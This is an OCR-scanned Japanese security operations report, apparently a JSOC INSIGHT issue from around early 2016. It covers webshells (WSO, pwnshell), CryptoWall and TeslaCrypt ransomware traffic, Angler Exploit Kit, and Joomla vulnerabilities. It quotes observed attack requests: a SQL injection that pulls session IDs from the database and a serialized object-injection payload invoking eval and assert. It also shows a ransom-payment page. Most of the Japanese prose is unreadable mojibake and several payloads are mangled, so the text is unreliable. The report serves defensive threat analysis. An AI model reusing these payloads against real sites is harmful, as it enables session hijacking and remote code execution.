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1 JSOC INSIGHT vol.10 4.1 [T/Z2704 by hotEhne ZeusVM OBIRICDOWNT]
http://www.lac.co.jp/security/report/pdf/20160106_jsoc_jO001w.pdf

2 Malware XcodeGhost Infects 39 iOS Apps, Including WeChat, Affecting Hundreds of Millions of Users
http://researchcenter.paloaltonetworks.com/2015/09/malware-xcodeghost-infects-39-ios-apps-including-w
echat-affecting-hundreds-of-millions-of-users/
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https://www.jssec.org/dl/guidelines_v2.pdf
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B

a. 0J4 YEIDEmTR R

425tab076.8 #1 SMP Tue May 14 Windows-1251

Server IP:
1 i s
drwxr-xr-x [ home ] Client T

[ Sec. Info ] [ Files ] [ Console ] [sqll [Php1] [ String tools 1 [ Bruteforce ] [ Network ] [ Logout ] [ Self remove ]
| File manager
139e
E‘ Name Owner/Group Permissions Actions
[m]r-1 2015-12- drwxr-xr-x RT
E| | 2013-07- drwxr-xr-x RT
El [ _notes ] 3-07- drwxr-xr-x RT

E‘ [images ] 3-07- drwxr-xr-x RT

[m] 32.12 KB 3-07- rw-r--r-- RTED
[m] 26.97 KB 2013-07- S RTED
E‘ tab.php 128.51 KB 2015-12- W= RTED

Copy (v

Change dir: Read file:

Make dir: Make file:
Execute: upload file:

b. OJ1Y&DEE&FRT
7 WebShell O#X1I(WSO)

7 (X Web Shell by oRb (WSO)&ME(ENS WebShell T. 2y 3> SR (071 AR ) Hike
Z(3U. IER(CZLDHEBENEREINTVET . OJ 1AL WebShell D#EENTEENTED—B
RELFTIHIOTPAIMNIARBATS (K 7(a)). UMOJT1>4#(E Web H—/N\ZIEIETDIsDDIE
BEN'ZSHERINTVBENHEERTEFI (K 7(b)).
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©) pwnshell - an interactive jsp shell — Mozilla Firefox B =10 x|

i 7y I 020 sp ¢l s [anz |4 B 4 © =

welcome to pwnshelll -

B 8 WebShell Oi&%1{I(pwnshell)
8 (& pwnshell £ME(ENS WebShell T, OS IV REITHEEDHNEEEN TS jsp T7

1 TY, Ajax ZFIALTHD, I>Y—)L LT 0S IV FEERITI DL ORRAE THA TS50
UE I

4.1.3 RIERI7ANTYIO— ROEHADIIRERAFER DR > b

CMS (X B ARERTPA L7y IO~ ROFEANADII (. CMS AES LTSN TV E0%
BHIVAM=IENTVBZIRTOT I 1T IERUEFIREFIAI DL TS,

Ffz Web B —NNICH I BARIER 7Y TO— ROHAHHF I BEFRELTE. LLTHEZITI,
O Web 2337 1L NI 2 T71 WAERAEIR 2 EAS(CT S
O UIIZAMDT—IEZFIBRL. KERYA XD POST UJIANALIBL AR

O PHP J7AIO&SRY -G RTERITIZTOT S LNDEET7 I AZ RIS

WEENARERIPAII7yTO—-RL, Web B—N\ZEBRAT3ICE, TP ILOIERRDPZDT A WS
EINBTICATERIENRMHTY , 2D, Web H—NOLRFT (LI NS BT71 AERRZ
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PRI BIE0, EATTOIILNDTIERZHIRT BE(CLD, WL DR EZ BT LN RIAD
95

FRN— RIERBTFANTYIO- RENTUFIHZE(CARZ . 7>FIMILAYI N LD ERRH
BIFTAWZAFr>E TP DERS ARFDEHEHZERD AN BTEN IR T

BER 7. X 8 THRTU WebShell (. —&BO7>FUAINAYI NTHRAITE S L2 hEEL TLY
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4.2 SOYAVIT7RBEBEDRIICONT

4.2.1 SO ADI7RELBEDRAZEH

2B LAVIT (FERIGRBLVRY NI —I RS TIARFENTVB X E. 8hiE. EEREDI7AI
ZBESEL. 7% NE LU TEBREZEKRITZVIVIIFTT, 2015 F 12 AFT7/IVOYLE
F% vy [(ZEBUIES{EI3 TeslaCrypt ¥ CryptoWall NEIRTHITL. SERECRDFLRY.
JSOC T 2015 5 12 BLARE ., BHOBERRTIOY AVITDRRGEEE ZSNZIBEZAREIL TVE
ER

9 (CT>Y AV 7 REEDBEDIRIGIZRUET

CiB{E(E CryptoWall [ICRERRUTEBRICHEE T 2BEN—EB T . POSTUIIZX MDIIZRI7A LA
INSA=AERREBFOIRTICLDERRDET, Ffz POST OF —FEBDD y=(CHE<XFHICIE.
CryptoWall ’RITSNIEIFRZAFETES ID P C2 Y- NICHITRERNBRENZFNET °. C
N5DIEHR(E. WEENMER LT Y ADTT DRRGRIHEREI®, By 11 ADZIANERREZE
BIRHICFIFAEINTOREEZET,

posT http:// 25707 - php?v=8f92317euijy HTTP/1.1
Accept: */*

Content-Type: application/x-www-form-urlencoded

Pragma: no-cache

content-Length: 140

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT &6.1; Trident/7.0;
SLCC2; .NET CLR 2.0.50727; .MET CLR 3.5.3230729; .NET CLR

3.0.30729; .NET4.0C; .NET4.0E)

Host : I

=6d39677339 386_38[] 37159051e6e5756F55c1c9elle
F3f44b1f7b19d6 66948946904 576d1 5|

9 S Y ADIF7RREXOIRFH

CNFETHERAUIIER T RX > D Web B4 MREFRUIZEC A, (FEAEN WordPress ZFIFBLTH
D, FICEAFHERF R THREASNITIRREDFE, BREILSFEI TS Web Y41 hOFEZHERLTVE
9, Ffz. CryptoWall @ C2 HB—/\(Z(& WSO MMERINTWS L ZMERUILET BLR— MRS
NTVEI®, 4.1 BD CMS (LT 3T7/I 7y 00— RIREL OB E M LBIHE TIIHDER AN, IR%E
BEBESY-/\%EmI 2D TIIRL, AISHDFFETIERD Web I>F7YHEMWEL TLWIH -\ %25
2ERD. &RARMICENILIITD C2 H—NEULTEBRALTWSEEZET .

* Tvwv DAL IEBFEERN )L 12 B 8 BIUBHEN. BRTERMII7IVEEN RN T ISR
http://internet.watch.impress.co.jp/docs/news/20151211_ 735005.html

5 CryptoWall Version 3 Threat

http://cyberthreatalliance.org/cryptowall-report.pdf
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FIz. TeslaCrypt OFEATOFER. PR (CIHARSLIURY NI —IAM—2 E(REFENIT7AIL
HEES{EEN. RENICER 10(RIEY RIS TOZIANVEERRT D Web R—S(TFHEEEINSBIE
RSB LEUIC,

€) 2 I << c= oo ¢l[a « NN =

Your files are encrypted.
To get the key to decrypt files you have to pay 500 USD. If payment is not made hefore 14112115 the cost of decrypting files will
increase 2 times and will be 1000 USD

Prior to increasing the amount left:

160h 14m 16s
First connect |P: | NI

Refresh | Payment | FAQ | Decrypt 1 file for FREE | Support

m

We present a special software - Crypto¥Wall Decrypter - which allows to decrypt and return control to all your encrypted files.
How to buy CryptoWall decrypter?

1. You can make a payment with BitCoins, there are many methods to get them.
bitcoin
2. You should register Bitcon wallet ( click here for more information with pictures)

3. Purchasing Bitcoins - Although if's not yet easy to buy bitcoins, it's getting simpler every day.
Here are our recommendations:
® LocalBitcoins.com (WU) - Buy Bitcoins with Western Union
® Coincafe.com - Recommended for fast, simple service. Payment Methods: Western Union, Bank of
America,Cash by FedEx, Moneygram, Money Order. In NYC: Bitcoin ATM, In Person
* LocalBitcoins.com - Service allows you to search for people in your community willing to sell bitcoins to you directly.
* CEXIO - Buy Bitcoins with VISA/MASTERCARD or Wire Transfer
* btedirect.eu - THE BEST FOR EUROPE

Some additional sellers:
e hitquick.co - Buy Bitcoins Instantly for Cash
® How To Buy Bitcoins - An | directory of bitcoin exchanges
® Cash Into Coins - Bitcoin for cash.
® Coindar - CoinJar allows direct bitcoin purchases on their site.
® anxpro.com
e bittylicious.com X

10 BESEI7MN2ESTILHEREBEZERTIRE

COEIRTFAINEESIEL. T7( IV BT R DICEHREAERI ZEEES Y AIIT(CHIE
IR CI . TP ADITICEOTE TIAWETORARNTEDSNTHD. HD> M R RUEIR
DZEIBEDED. Web R—ITRIBGTFANTFAIART AT N TOBERRETZINWVERZ T ED, R
ABRIITIKEAREZEUS . IO AEBLRVEBREDEHDEEBICHISU AV ->%FKRIT2E
DRE, BEL LI I-IHEDEHRZTINDIRNRISGEE TR T RSN TVET,

SOHADITORICG, RREUHEROFBEC[ETTER N DD ICtZRE 2. 1E
BAELIET7A N O—EPEIETT S B DHEE R R Z TV RIBENHDET . COMEETEERC 1 DH 2 D0
T7ANEETEERENTELIN, EEOZIANVEUIZECHIUEIRTOI IV 28T TED
REE(EHOER AL,

6 Alert (TA14-295A) Crypto Ransomware
https://www.us-cert.gov/ncas/alerts/TA14-295A
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4.2.2 SUYLII7 DRBRERICONT

JSOC Tl&, INBIIYADUIT DREGHEIRE RENSBEZRINL TVET .

1. IJZA704 byMEHDRSAITNISYU>0—RIC LB

11 (CIHZTOA by FOIBEFRARFUTDBERZRUES . COBIEESOY AVI T ORREIE
BLEERRFZICHEELTOIENS, SO ADITOBRRFERO— D THIEEZFT .

Stream Content
GET /boards/viewforum. php?f=86t&sid=wlt3646259u5 HTTP/1.0

Accept: text/html, a ication/xhtml+xml, *=/%
rReferer: http:f/h/45342uccx/5??5—128.de

Accept-Language: 1a—JP

User-agent: Mozilla/5.0 (compatible: MSIE 9.0; windows NT 6.1; Trident/5.0)
HOST: *

cache-Control: max-stale=0

connection: Keei—AHve

11 IJZ7°04 by M OEGRORFNF

11 (CRIIE{S1E Angler Exploit Kit OFHERIRMNBIETY . IREE(ENSOIIZT0A hy
NIEFE I 20— RZIERD Web B4 MOAESEREIBHADE T, Web Y4 MNFIBEEZTILITT
(CREEEEE T, ISOC Tld. 2015 F 7 Bh5 9 BLEk, ESTREMICIVZTOA My NBIET S
BEZZHIRFUTVET

2. Email OiRMAIIT7AIVIC KBRS

Y2 RRWIZR B G THRENU AT I 7/ IV SN X =)U(E, 2015 F 12 A48, BRGNS
BUEURZ. B 12(CISOC TEEHERMICAERI7A IR ENTA =)L ORI 8 ~UE T . NS0
ZLE IO LD 7RG FE TS JavaScript T I &R AX—)VSTRAFUIZED T Uz,

22U, CORARITARFNUIEX =)L, EXETTX=IL 7 RLAICFIFENTVS RXL B OEDTHD.,
H AXERFTUR, Foo RBERX-IORIMFEIZ VOO0, TMI T/ 2L ETRREL
IeEZEZBNZBIEDRIEHDEFRFATURZ, 201D, BARERNTEINSDX=ILHRICAA=)LEL TR
DN TETEA-)Z2FF I DRI EE (RN DI EIERUET,
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6,000

5,000

4,000

IREMFER

3,000 |

2,000

1,000

0 —N SN

10H1H 10A11H 10A21H 10H31H 114108 118208 114308 12H108H 128208 12H30H

12 RERI7ZAWHFAIENIA - DHE(2015 F 10 A~12 A)

4.2.3 SYYADIT7 DR

S>3 AITT (ZE RS CRERSEHINMERVWTHED . EETEARISNN TREDETH, (B TlEERE%E
SHSETEEEEAFL. TP EETUBHPHIRESNTVEITH, FHEICIETTERRMEE
BOFL A EREOHERZIIR, FREFHHITRHCE U TOMFEEEITZENETETT,

ARV=FA S RAFT LT TV —23> - VINII T2 RFTOIREEC YT T - 53
DAINASRY I M R DERE I AIUCEFID

Microsoftit MEMH I SEMETZEA TS

ARBEIIA=INDFAT TP A AP URLZFI R

FOPHEEEHCOVT, BICEFOBHRZTZF1UTIBIRYA M Z1- A/ MBAFIS
AEBARIEY A MOTHIER%TOVIF3

RN ICEE R T — A= YIEMICEIDBEINIANEB AN —SI\WI 7y T9%

Ooo0o0Oo0oao

7 [ AT 7 R EI R CERRR R WPy TR ] ~ERHCH I RER SR ENIEE RF T IS~
https://www.ipa.go.jp/security/txt/2016/01outline.html

CERMEE) SoY ADI VR R EISER

https://www.ipa.go.jp/security/topics/alert280413.html

8 Hollywood Presbyterian Medical Center
http://hollywoodpresbyterian.com/default/assets/File/20160217%20Memo0%20from%20the%20CE0%20v
2.pdf
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4.3 Joomla!DAEFEIEICDOWNT

SRR VTA—T>Y-A0D TV EES 2T A(CMS) THS Joomlal (CHRZRAESS
HENERANFENF UL, CITE 10 BICARENZ SQL1>2 1723 0lfess e, 12 BICARS
NIAEROIN Y REITHEIRERIRSSIEIC DOV TERBALE T .

4.3.1 JoomlallcHlrd SQL 1T 133> DRSS EICDONT

2015 & 10 A. Joomla!(CHF3 SQL 1>>19>3> D5 1% (CVE-2015-7297 .
CVE-2015-7857. CVE-2015-7858) HMABIaNF LTz, AMESEHEN BRSNS S, BE(
&DFT—IR-ZADERNEFEEN B BT BEIENSHDET .

HERZIZN -2 ELLTOEDTY,
Joomlal 3.2.0 ~ 3.4.4

ARESSIEONRBER(C, MeSSIHZAREET 52— I AMINELZ. B 13 (CEEEOY 3> ID
DOBE R ADNEBEZRUET . NIERUIIANIED, T—AIR-A(RFEN TV EEREDOT
v33> ID WEREREN 3Lz RLELI (B 13(a)). BIRENDT AL TV, MESSRIRIEEIR
EEECHLT. BIEEOEY3Y ID ZEAL HTTP LARDZZRLEFT(E 13(b)).

® [20151001] - Core - SQL Injection
https://developer.joomla.org/security-centre/628-20151001-core-sql-injection.html
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Stream Content

GET /joomla/index. phpTGpt1on com_contenth1stor &v1ew h1st0r &1ist
=&itL i d=7 &t =1%20&1ist[select = ect FROM
concati{session 1d)}%20FROM%20]m1 sessionX¥20LIMIT®
204 1), floor (rand(0)*2) ) x%20FROM%201nformation_schema. tables%20GROUP%20BY%:20x)a)

HTTP/1.1

Host: 192.168.16.5

User-aAgent: Mozilla/5.0 (windows NT 6.1; wWOw64; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,*/*;g=0.8
Accept-Language: ja,en-Us;g=0.7,en;qg=0.3

Accept-Encoding: gzip, deflate

cookie: bcB7c5ale3bfl9ectalb627aef6l1400bd=hs2gd4ac23aemb06obls04tmo2;
cel78a36475055a4e81fb06d00ec3dbi=hs2qd4ac23aemb060bls04tmo2

Connection: keep-alive

cache-Control: max-age=0

a. HTTPYJIAk

HTTP/1.1 500 Du?11cate entry ‘[s6kl0angtkijvET/et2q9bbellll’ for key 'group_key’
SQL=S5ELECT (select 1 FROM{select count(®),concat{(select (select concat(session_id))
FROM jml_session LIMIT 4,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY
x)a),uc.name A5 editor FROM ~jml_ucm_history” ASs h LEFT JOIN jml_users AS uc ON uc.id

= h.editor_user_id WHERE "h’. ucm_item_id~ = 7 AND "h”. ucm_type_id = 1 ORDER BY
"h™. "save_date’

b. tv33> ID Z&AE HTTP LAKIR
13 EEEDtYY3Y ID OGHERAZIWEEE

REASNTOBARIED— RTIE, y23> ID BUNIELU T OBIROTBEZ A DTEN BIRE THBHT
LetERLELR.

- )J\Ww3a{EENn Joomlal®1—H)ICADJ—R
- FTAR-ZDI1-Y%
- FALTVSRT-IR-ZDFEFE (MySQL 1RE)

Fe. REEIGIMULEREOEYSAY ID 2FFL. SR %Z9(C Joomla! OEIREEA YY)
TANEIRET T,

14 (C. BBELIz Y 3> ID #BALEDI 1> OB 2 RUEFT .

Cookie [CZYy UTRUIIANME] 14(a)) KU 14(b)FORHRTHEHIFN TVBET, IRTE
074> 01-S0—E#HERTEET, CCTEROJ/>P0I-Hh Super User THRENSE
IBEERTOT (> TETVRIENDNDFET , BB, COWENRKINT 2o (FEIRENDT A >HIC
WENEITEINBZENETT,
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Stream Content

GET /joomla/administrator/ HTTP/1.1

Host: 192.168.16.5

User-Agent: Mozilla/5.0 (Windows NT 6.1; wOw64; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: text/html, app11cat10n/xhtm1+xm1 app11cat10n/xm1;q=0.9,*/*;q=0.8
Accept-Language: ja,en-Us;qg=0.7,en;g=0.

Accept-Encoding: gzip, deflate
Cookie: bc87c5ale36l9ecfalbe27asfgl400b
ce078a36475055a4e81fhb06d00ec3db9 mnlirmammﬂmam
connection: keep-alive

Cache-control: max-age=0

s04tmo2;

a. Joomla!OERBEREANA7ITA

s > s~ Extensions v Help ~ vicimegg & v
o .
© Control Panel ¥ Joomlal
7 NewAticle
B Adicies i
w C ries
B Media
I, IMeou(s) € About & 20110101 test Super User & 20151217
W Modules =
© Working on Your Site E 20110101 7 Welcome to your blog Super User E 2011-01-05
@ Weicome to your blog & 2011-01-05 / About your home page Super User =
& users X
© About your home page E 20110103 2 Your Template Super User
© Your Modules B 2010-12-31 About Super User & 20110101
Q Gloval
@ Templates
" Language(s)
Super User Administration [ Thursday, 17 ©3 08 Linux |
0 20 °
© victim

b. OJ4VICRHIhLTE Joomla! DEHRE
14 HBHUEEYS3Y ID 2EBALEOJ 1O DRH

4.3.2 Joomla!lCHF3]1— RET DM TEDIRIE

2015 £ 12 A. JoomlallZHU T, AFEOI— REFTHEIEERAESSIE(CVE-2015-8562) o4t
NHEINFL.
AHESSHEDIRARRRIRE (&, PHP OBEXIDAESS 4 (CVE-2015-6835)¢ MySQL DfEERICLS
HEDTHD PHP LU JoomlalZFIFH I 33 AT AIMEREDI—-REEITEINZAIEEMENHDET
FEEZIBRIREE. LLTFON->3>0) PHP _ETEIMET S Joomlal/{—-23> 1.5.0 H'5 3.4.5
T9,
- PHP N\—¥3> 5.4.44 LIFiD 5.4.x
- PHP \—¥3> 5.5.28 LIFiD 5.5.x
- PHP N\—¥3> 5.6.12 LIFID 5.6.x

10[20151201] - Core - Remote Code Execution Vulnerability
https://developer.joomla.org/security-centre/630-20151214-core-remote-code-execution-vulnerability.html
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JSOC T KREFTEMEOARSHWINSWEBEZARIL TVET .

[ 15 (CISOC [CTHRAUIREBIED HTTP VI IAMIZRUET

RO THRTRUTVWSEBDCH VT, PHP O eval BIDEITZIL A CVET . Tz chr B TEE:
{fE2NTW3EED%Z71—RI 3L phpinfo(); 1£732D. COREBEDOERIE PHP OFEEFIROL

DTHBENDIDET

GET HTTP/1.1

Accept: */*%

User-Agent: } testlo 21: JDatabaseDr1verMy5q11 :3:{s5:2:"Fc";0: 17 JS1mp1€p1eFact0ry 0:{}¥s:21:"O0N0

\Od1sc0nnectHandWers a:1:{i:0;a:2:{1:0;0:9: S1mp1eP1e 15 {5 8:"sanitize";0:20: "1DatabaseDriverm sq1”

5:8:"feed_url1";s:119: eva1gchr(112) chr(104) chr(112). chr(lOS) chr(110). chr(lOZ) chr{111). chr (40 chr

JFactory getcont 19
;exX1t 35:19: "cache_ name _function”;s:6:"assert”;s:5: "cache”;b:1;s:11:"cache_class"”;0:20:"JDatabasebrivermy
T

5 1 HtH i:l;s:4:"init” 5:13: \O\O\Oconnect1on b:l;

0:{}

15 Joomla!®Y> RRITOMESS 2 BRAU IR ZEEEHI(—ED)

FEEOKEBENKINUBEDHEEF. Web Y—/){0) PHP D& EIBFIRNMNIEE(CHSNDD
HCEBEDFT . UNURD S AN 2 BRAULIEEE T, \vIR7T0I 5 LADOVERE R A S INEE
IBEZZEURFUTVET . 2018, MEs572 Joomla!B LU PHP ZFIFALTLWSIEE(EF. I TIC/ Y
JRT7IMERR SN TWSZENRRZENBTH. Web B —/IHtIEASN TOWRULWZRREIN S L7 HE
BUFT, Fo. ARRE. TN Joomla!BLU PHP OmEE7Y ST — NS 2MEBNHDET .
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5 #&bblc

JSOC INSIGHT (&, [INSIGHT IN'R 938D, D854 (C ISOC Dt+1UF17FUZX ML TR
[OEEINEBEICE T BIEMREMZITIEZERLTVET.

INFTHEF )T 7 FIANIE X BEROBITFELANS, LDBUIRIEREZIRMHTEDSLSE
HTENDEU, 20 ISOC INSIGHT TREZBFIRIUIFRITOA > T > MR, IRIE. FIAFR(C
BVTKRERBRERDIDA> ST MIERZET, BRIERIEHZBIELTOEFET.

JISOC M\ [ZE - R I ZRH TEREIRAS — VDR AERBTEN TENTFENTT,

JSOC INSIGHT vol.11
€2E)
EEK BX / &H & / CH F& / &L 1EXEB / ZFRA 2
(A t+EIE)
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